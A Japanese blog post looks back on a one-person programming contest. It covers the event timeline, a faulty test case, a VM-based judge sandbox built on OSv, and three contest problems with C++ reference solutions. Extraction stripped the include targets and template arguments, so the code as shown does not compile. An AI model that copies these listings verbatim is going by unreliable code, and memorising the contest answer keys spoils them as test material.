6月4日(土)にプロコンを実施したので、それについてつらつらと書いていきます。問題の内容と解説は4日の記事で既に公開しています。

流れ

  • ジャッジシステムを作成していて、だいたい動くのが見える。
  • 問題の内容が決まる。
  • テストデータを作る。
  • 非公開のシステムを作り、全体の動きを確認する。
  • 予想外に仮想化などで遅いので、制約を見直す。
  • コンテスト9日前:ここまで自宅LAN内で実施していたが、本番環境としてまずは自分しか見られない状態で今回のシステムでの最小構成(マスター1台+ジャッジサーバー2台)をデプロイ。
    • 使用予定のVPSは以前 nexted VT をサポートしているとしていたが、現在はしていないことが判明。予想外に実行時間が遅いため制限時間の見直し
    • 当日の問題で正解のプログラムを提出して確認
  • コンテスト7日前:問題ないと判断し、コンテスト日時を決定。テスト用ユーザーなどを削除して公開。
  • コンテスト6日前:ジャッジサーバ増設。3台に
  • コンテスト2日前:ジャッジサーバ増設。余裕を見て10台に。
  • コンテスト開始0分後:Standings に表示されないように細工されたアカウントで動作を確認。提出の要素などを確認する。
  • コンテスト開始約25分後:B問題で提出が出始めるが、正解者が出ないことを確認。調査開始。
  • コンテスト開始約30分後:Javaでの提出について、クラス内でクラスを定義すると動作しない仕様(お知らせなどでは「Main.java としてビルドされ、 Main.class のみをコピーして実行します。」)が想定しない障壁となっていることを確認。ただし、C++のコードでも通過しないコードがあることを確認。
  • コンテスト開始約40分後:B問題で正解すべきと思われるコードを手元で実行した結果などから、最終的に制約を満たしていない入力データがあることを確認。すぐには修正できないと判断して当該テストデータを削除して再ジャッジ。
  • コンテスト開始45分後:B問題のリジャッジを告知。
  • コンテスト開始58分後:Javaの仕様に対し、不公平にならないと判断した範囲でお知らせを追加。
  • コンテスト開始75分後:B問題のジャッジミスの対応(コンテスト延長・開始50分後までのミスの取り扱いの変更)を決定しお知らせを追加。
  • コンテスト開始100分後:コンテスト終了。ジャッジ完了を確認した後、告知した措置を反映した Standings を作成。
  • コンテスト開始105分後:告知した措置を反映させた Standings を表示。
  • コンテスト開始109分後:告知した措置の反映漏れを修正した Standings を表示。

ふりかえり

  • テストデータに不備があり、さらに不備の内容が「制約を満たしていない」であったためにプログラム自体は動作し、当日まで気が付かなかった。テストデータの作成は慎重を期すべきであるとともに、なるべく複数人で検証すべき。
  • 実行時に何か起こっても TLE 以外は WA 扱いになる仕様が想定外のところで仇に。仮想化に伴う仕様だが、この仕様は修正されるべきである。
  • Main.class のみをコピーする仕様もよくない。しかも、そのような状況であっても WA 以外の情報が得られないのは大変よくない。そもそも、あまり想定していないのであれば思い切ってJavaを最初から利用できないようにするなどの対策が必要だった。
  • 競技規約に連絡先は書いていたが、上述の問題にもかかわらず問い合わせが来なかったので、問い合わせは(特に今回のような勝手がわかっていない中での実施の場合は)フォームを準備するなどもっと容易にできるようにすべき。
  • 参加者は21名と、予想よりやや多い程度だったものの、それでもジャッジサーバーは明らかに10台も要らなかった。ただ、今回発生したリジャッジのような事態も想定すると、スケーリングさせられないなら少なすぎるよりは無駄になるほうがよい。
  • Standings に反映されない、自分用アカウントを用意するかは迷った上で用意したが、これはあったほうがよい。
  • 色々大きな問題はあったものの、ジャッジサーバが止まるようなことがなかったのはよかった。

その他、Twitter にて公開で寄せられた要望は以下の通り。

  • Languageの選択が記憶されるようにしてほしいです!(@machyさん)
  • c++でstd::tupleをつかったら通らなかったのでpairに直して解きました。tuple使えるとうれしいです。(@nekomimimiさん)

感想

ジャッジサーバのプログラム作成、問題やテストデータの準備、当日の運営に至るまで一人で実施しました。何はともあれ一通り経験できたのは楽しかったです。とはいえ、不手際が色々あり、せっかくご参加いただいた方にご迷惑をおかけしてしまいました。

ジャッジサーバの準備はなかなかに大変でしたが、目立たないところでテストデータの準備もなかなか大変で神経が磨り減るところでしたし、それでも今回重大なミスが発生した点でもあります。

ジャッジシステムそのもののことはこの後で書きますが、端的に言えば仮想化でジャッジサーバを構築する試みは、ある程度うまくいきそうに見えたものの、やはり無理があるのでコンテナ技術をベースにすべきだと感じています。

なかなかに大変なのは事実ですが、とはいえ学びがあったことも事実です。次回実施することがあるかどうかは現時点ではわかりませんが、実施するとしたら、あるいは何らかの何かを手助けするとしたら、今回明らかになった問題点を解消してよりよいものを作っていきたいと思います。

最後に、21名の参加者の方、ありがとうございました。

ジャッジサーバについて

今回用意したジャッジサーバのシステムについて、簡単な説明を書いておきます。使うための説明などは、もう少しAPIの仕様が定まったりして使いやすくなってからのほうがよいかな、と思っています。

今回はシステム構成について触れた後、 fuzetsu の仕組みのみ紹介しています。

システム構成

  • fuzetsu: ジャッジサーバの基盤エンジンです。与えられたソースコードをビルドしたものを安全に実行し、与えられた入力に対する結果を返します。OSv に対して fuzetsu のために最低限必要な修正を施した osv-fuzetsu が必要です。
  • flamehaze: 後述の flamehaze-outlaw からソースコードをダウンロードし、前述の fuzetsu を利用して結果を得て flamehaze-outlaw に返すプログラムです。これがジャッジサーバ1台に対し1インスタンス常時起動することになります。なお、 TLE などに関しては失敗時に別のマシンで再実行し、それでも失敗する時のみ正式に失敗とみなす仕組みが flamehaze, flamehaze-outlaw にまたがって備わっています。
  • flamehaze-outlaw: ジャッジシステムの中心部で、各種情報を管理する WebAPI を提供します。MySQL とデータをやりとりし、 flamehaze-outlaw の要求に応じてジャッジが必要なソースコードやジャッジ結果をやりとりし、後述の outlaw-ui の問い合わせに応じて必要な情報を返します。
  • outlaw-ui: flamehaze-outlaw に接続し、コンテスト参加者に対して WebUI を提供します。

fuzetsu について

与えられた任意のソースコードを安全に実行するシステムです。

現時点では、コンパイル時には gcc の場合に include したファイル一覧を表示するオプションを用い、ホワイトリスト方式でおかしなファイルを include していないか判定を行っています。

実行時には、与えられたファイルを OSv の仮想マシンを用意し、ネットワークから遮断してコンソール経由で入出力を行っています。そのため、仮想マシンイメージをビルド時に作成し、毎回コピーして実行しています。

OSv は仮想マシン上で一つのアプリケーションを動作させることを目的とした Cloudius Systems による OS で、通常 OS が担う機能をハイパーバイザ側に任せています。とても軽量で、 Hello, World 程度のプログラムを読み込んでいる場合、環境によっては、 OS を起動開始してからシャットダウンが完了するまで1秒以内で完了します。開発途上ですが、詳細はオンラインで検索すれば情報が出ると思います。

この仕組みにより、少なくとも任意プログラム実行に関しては、 OS 側での攻撃手段を逐一防ぐ必要がなく、 qemu に渡すオプションで包括的に防ぐことが可能になりました。

一方で、この仕組みのため、使用するVPSで仮想化支援が使えない(nested-VTが使えない)のは大きな問題でした。

また、シリアルコンソール経由でしか情報がやりとりできないため、実行時エラーをほとんど検出できない問題もありました。当初はメモリ使用量を検出する試みもありましたが、「Hello, World だけで 70MB 以上使用するので、メモリ使用量を計測できているうちに入らない」という判断をしました。

現状

ひとまず以下の点は特に改善が必要と考えています。

  • fuzetsu は仮想化ではなく、コンテナをベースとすべきである。
  • WebAPI の URL が .php なのは今後の互換性などの観点でよろしくないのと出力形式も行き当たりばったりなので、修正して自然言語で明示する。

おわりに

コンテストを実施したときのことをつらつらと書いてきましたが、開催側に回って初めてわかることは多いので、形はどうあれ実施してみることをお勧めします。その障壁を下げるためのジャッジシステム公開については今後努力します。

にろきプロコン#1 問題と解説

2016年6月4日 21:00から、プログラミングコンテスト「にろきプロコン#1」を実施しました。

まずは、問題の内容と想定した解法を記します。

実施に至っての色々や途中でミスが発覚して色々大変だったことの公開や、ジャッジ用のソースコード公開はこの土日の間に公開する予定です。

A. ふぃずばず

問題

FizzBuzzといえば、聞いたことがある方も多いのではないでしょうか。
大まかに説明すると、次のルールで1から順番に数を読み上げていくゲームです。

  • 原則として数をそのまま読み上げる。
  • ただし、3で割り切れる場合は数を読み上げずに Fizz と言う。
  • 5で割り切れる場合は数を読み上げずに Buzz と言う。
  • 3でも5でも割り切れる場合は、上のいずれにも従わず、FizzBuzz と言う。

順番に読み上げるのは飽きてしまったので、 FizzBuzz にランダムアクセスすることにしました。番号を与えられたとき、その番号に相当する読み上げるべきものを出力してください。

Input

N
i1
i2
...
iN

1行目に、テストケースの数Nが書いてあります。
2から(N+1)行目には順にそれぞれ読み上げるべき番号が書かれています。

Output

o1
o2
...
oN

N行それぞれに、書かれた順に入力された番号で読み上げるべきものを書いてください。最後の行にも改行が必要です。

制約

1 ≤ N ≤ 1,000
1 ≤ i1..N ≤ 1,000,000

Sample Input

5
1
3
413
55
1500

Sample Output

1
Fizz
413
Buzz
FizzBuzz

解説

順に入力し、それぞれを「15で割ったあまりが0かどうか」「5で割ったあまりが0かどうか」「3で割ったあまりが0かどうか」で条件分岐します。

ソースコードは例えば以下のようになります。

#include 

using namespace std;

int main(){
	int T;

	cin >> T;

	for (int i = 0; i < T; ++i) { int n = 0; cin >> n;

		if (n % 15 == 0) {
			cout << "FizzBuzz" << endl;
		} else if (n % 5 == 0){
			cout << "Buzz" << endl;
		} else if (n % 3 == 0){
			cout << "Fizz" << endl;
		} else {
			cout << n << endl;
		}
	}

	return 0;
}

B. 郵便係

問題

あなたは、郵便物を配送する仕事につきました。
今日も一仕事を終えて拠点に戻ってきましたが、トラックの荷室の奥に一つだけ、配達時間帯指定つきの荷物が残っていることに気付きました。
この荷物を時間内に配送する必要がありますが、トラックが出した最高速度が従業員評価に組み込まれているため、最高速度をなるべく抑えないといけないことを思い出します。トラックは自動運転になっており、速度を指定すると指定した速度で走行しますが、赤信号でのみ停止します。
そのため、なるべく低い速度を指定しつつ、その荷物を指定時刻までに届ける必要があります。幸いなことに、この道はよく通る道で、信号の動きを完璧に把握していますし、それ以外の要因で指定速度より低くなることはありません(加速や減速に要する時間も無視できます)。
この問題を解決するため、配送に使える残り時間(秒)、目的地までの距離(m)、トラックに指定可能な最高速度(m/秒)、各信号の位置と動きを入力(後述)したとき、指定する必要がある速度(m/秒)の最低値を整数で答えるプログラムを書いてください。速度は整数でしか指定できないので、小数で結果が得られたとしても切り上げて回答してください。ただし、トラックに指定可能な最高速度でもなお時間内に到達できない場合は-1と答えてください。
信号の挙動:出発してからx秒後に、この信号は初めて青になります。青になったら、y秒ごとに青と赤を切り替えます。つまり、x+y秒後に赤信号になり、x+2y秒後に再び青になって進むことができるようになります。なお、xはマイナスになることもありますが、その場合も出発後x秒後に青信号になり、その後y秒ごとに信号が切り替わります。

Input

time distance speedlimit
N
location1 x1 y1
...
locationN xN yN

1行目:指定所要時間(秒) time、目的地までの距離(m) distance、トラックに指定可能な最高速度(m/秒) speedlimit が順にスペース区切りで入力されています。
2行目:信号の数(N)が入力されています。
3から(2+N)行目:信号の位置(拠点からの距離;m) locationi、問題文中の信号のパラメータxi, yi がスペース区切りで入力されています。

Output

speed

結果は一行で、問題に問われている速度(m/秒で整数、ただし到達できない場合は-1)を出力してください。改行が必要です。

制約

1 ≤ N ≤ 100
1 ≤ time ≤ 100,000,000
1 ≤ distance ≤ 100,000,000
1 ≤ speedlimit ≤ 100,000,000
1 ≤ location1..N ≤ distance
1 ≤ y1..N ≤ time
-yi ≤ xi ≤ yi for i in 1..N
locationi-1 ≤ locationi for i in 2..N

Sample Input

600 6000 20
3
100 10 20
400 0 30
600 10 45
600 5900 10
1
100 120 200

Sample Output

11
-1

二つ目の例では、5900m離れたところまで600秒で配送する必要があります。最初の信号が100m離れた地点(残り5800m)にありますが、どんなに速く移動してもここを通過できるのは120秒後ですから、480秒しか残らず、最高速度を以てしても残りの5800mは走破できません。

解説

目的地までの距離と時間がわかっていますが、途中に待ち時間が一定でなく、一定のタイミングまで待たされる信号がたくさんあります。それらは独立して動いているので、一度にすべての要因を考慮するのは難しそうです。
信号の数は100程度しかないので、速度を決めたときにシミュレーションを行って所要時間を計算することはできそうです。
また、信号は早くついても一定のタイミングまで待たされるだけなので、速度を上げたことによって所要時間が伸びることはありません。つまり、ある速度で間に合わなかった場合は、必ずそれよりも速度を上げなければならないということです。
この性質を利用し、二分探索で解くことができます。例えば、以下のようになります。なお、浮動小数点の誤差の問題を回避するため、以下のコードでは時間は速度を乗じた状態で保持しています。

#include 
#include 

using namespace std;

int inside_loop(long long arrive, long long speed, long long x, long long loop) {
	long long arrive_clock = arrive % (2 * loop * speed);
	if (arrive_clock < x * speed) {
		arrive_clock += loop * speed * 2;
	}

	return arrive_clock < (x + loop) * speed;
}

int main(){
	long long t, d, s, N;
	vector  l, x, y;

	cin >> t >> d >> s >> N;

	for(long long i = 0; i < N; ++i){ long long tl, tx, ty; cin >> tl >> tx >> ty;

		if (tx < 0) {
			tx += 2 * ty;
		}

		l.push_back(tl);
		x.push_back(tx);
		y.push_back(ty);
	}

	l.push_back(d);
	x.push_back(0);
	y.push_back(t + 1);

	long long lo = 1;
	long long hi = s + 1;

	while (lo < hi) {
		long long mid = (lo + hi) / 2;

		long long curpos = 0;
		long long arrive = 0;

		for (long long i = 0; i < l.size(); ++i) { arrive += l[i] - curpos; if (! inside_loop(arrive, mid, x[i], y[i])) { arrive = ((arrive - x[i] * mid + (2 * y[i] * mid) - 1) / (2 * y[i] * mid)) * (2 * y[i] * mid) + x[i] * mid; } curpos = l[i]; } if (arrive > t * mid) {
			lo = mid + 1;
		} else {
			hi = mid; 
		}
	}

	if (lo > s) {
		cout << -1 << endl;
	} else {
		cout << lo << endl;
	}
}

C. 郵便係・続

問題

インターネットを構成する要素としておなじみの IP (Internet Protocol) では、 IP アドレスを元にパケットを目的地に配送します。
例えば家のLANに繋がっているパソコンの場合、LAN内は直接通信できるので直接配送し、LANの外であればデフォルト・ゲートウェイに渡してそこから先の配送を任せます。複数のネットワークに繋がっていれば、宛先によって適切な送り先に渡すことになります。宛先の判定は色々な方法がありますが、この問題ではとてもシンプルなルーティングテーブルを考えます。

今回考えるルーティングテーブルは、次のようなエントリがたくさん集まっています。

<ネットワークアドレス> <ネットマスク> <宛先インターフェイス> <優先度>

具体的には例えば以下のようになっています。

ネットワークアドレス ネットマスク 宛先インターフェイス 優先度
0.0.0.0 0.0.0.0 gateway1 20
192.168.1.0 255.255.255.0 eth0 10
192.168.1.0 255.255.255.0 eth1 20
192.168.1.128 255.255 255.128 eth2 30

IPアドレスとネットマスクは、8ビットごとに区切って書かれていますが、実際には32ビットで一続きです。たとえば、 1.2.128.129 は 0x01028081 とも表現できます。
各パケットの宛先IPアドレスと、ルーティングテーブルのエントリのネットマスクの論理積(ビット演算でいう&)がネットワークに一致すれば、そのエントリの宛先インターフェイスがパケットを届けるべきインターフェイスとなります。ただし、複数ある場合は、

  • ネットマスクが大きい順
  • ネットマスクも同じ場合は優先度の数字が小さい順

に優先します。

たとえばこの例では、 192.168.1.1 宛なら eth0 に、 192.168.1.130 は eth2 に、 10.0.0.1 宛や 240.0.0.1 宛なら gateway1 に届けます。
実際にはgatewayはインターフェイスではなくて、もう少し情報が書いてあって結局ethのどれかに投げることになるな、と思っている方もいるかと思いますが、ここではgatewayのままにすることにします。

郵便配送の経験を積んだあなたはこのパケットを分配する仕事につきましたが、毎回ルーティングテーブルを目で見て判定するのは効率的でないことに気付きました。仕事を楽にするため、ルーティングテーブルと、パケットの宛先がいくつか入力された時、それぞれのパケットの宛先を出力するプログラムを書いてください。なお、IPアドレスはピリオド区切りではなくスペース区切りで与えられます。

Input

N
network1 netmask1 interface1 metrics1
network2 netmask2 interface2 metrics2
...
networkN netmaskN interfaceN metricsN
M
ipaddr1
ipaddr2
...
ipaddrM

N, M は整数で、 IPそれぞれルーティングテーブルのエントリの数、パケットの数を示しています。
network, netmask, interface, metrics はそれぞれネットワークアドレス、ネットマスク、宛先インターフェイス、優先度を示しています。
ipaddr は、各パケットの宛先IPアドレスを示しています。
network, netmask, ipaddr はそれぞれ0から255までの整数4つで表現されています。

Output

interface1
interface2
...
interfaceM

M行にわたり、それぞれの行に順番にそれぞれのパケットの宛先のインターフェイス名を書いてください。最後の行にも改行が必要です。

制約

  • interfaceは10文字までの文字列(含む文字は[a-z0-9]のみ)
  • 優先度は整数(0から100)
  • network, netmask, metrics のいずれもが重複する行はない
  • interface が重複する行はない
  • netmask で 0 になっているビットに相当する network のビットは 0 (つまり network & (~netmask) = 0 )
  • 必ず一つ以上、 network = netmask = 0 0 0 0 の行がある(つまり、すべてのパケットは宛先がある)。
  • netmask は全体を2進数で表現したとき、各ビットについてその左のビットが0ならばそのビットも0である(つまり、2進数で表現すると左側に0個以上の1が並び、残りのビットは0で埋まっている)
  • 1 ≤ N ≤ 100
  • 1 ≤ M ≤ 100

Sample Input

4
0 0 0 0 0 0 0 0 gateway1 20
192 168 1 0 255 255 255 0 eth0 10
192 168 1 0 255 255 255 0 eth1 20
192 168 1 128 255 255 255 128 eth2 30
7
10 0 0 1
192 168 1 1
192 168 1 123
192 168 1 130
192 168 1 159
192 168 2 12
240 0 0 1

Sample Output

gateway1
eth0
eth0
eth2
eth2
gateway1
gateway1

解説

必要なアルゴリズム自体は公開されており、全てのケースで全探索を行っても計算量も問題にならないため、アルゴリズムが思いつかないというより、ビット演算などの意図を理解して仕様通りにコードを書けるかを問う問題です。

まず、

IPアドレスとネットマスクは、8ビットごとに区切って書かれていますが、実際には32ビットで一続きです。たとえば、 1.2.128.129 は 0x01028081 とも表現できます。

とありますから、4つの区切りを受け取ったらビットシフトを使って一つの32ビット符号なし整数(64ビット整数などでも可)にまとめてしまいましょう。

続いて、一つ一つの宛先について、ビット演算子の「&」を用いて宛先が当てはまるか判断し、ネットマスクの長さと優先度が最も長いものが残るようにして判定を上からしていきましょう。

例えば以下のようになります。

#include 
#include 

using namespace std;

int main(){
	int N, M;
	vector  network, netmask, metrics;
	vector  interface;

	cin >> N;
	for(int i = 0; i < N; ++i){
		unsigned int tnw = 0, tnm = 0, tme;
		string tin;

		for (int j = 0; j < 4; ++j) { int t; cin >> t;
			tnw = (tnw << 8) + t;
		}

		for (int j = 0; j < 4; ++j) { int t; cin >> t;
			tnm = (tnm << 8) + t; } cin >> tin >> tme;

		network.push_back(tnw);
		netmask.push_back(tnm);
		interface.push_back(tin);
		metrics.push_back(tme);
	}

	cin >> M;

	for (int i = 0; i < M; ++i) {
		unsigned int addr = 0;

		for (int j = 0; j < 4; ++j) { int t; cin >> t;
			addr = (addr << 8) + t;
		}

		int bestid = -1;

		for (int j = 0; j < N; ++j) {
			if ((addr & netmask[j]) == network[j]) {
				if (bestid == -1) {
					bestid = j;
				}

				if (netmask[bestid] < netmask[j]) {
					bestid = j;
				}

				if (netmask[bestid] == netmask[j] && metrics[bestid] > metrics[j]) {
					bestid = j;
				}
			}
		}

		cout << interface[bestid] << endl;
	}
}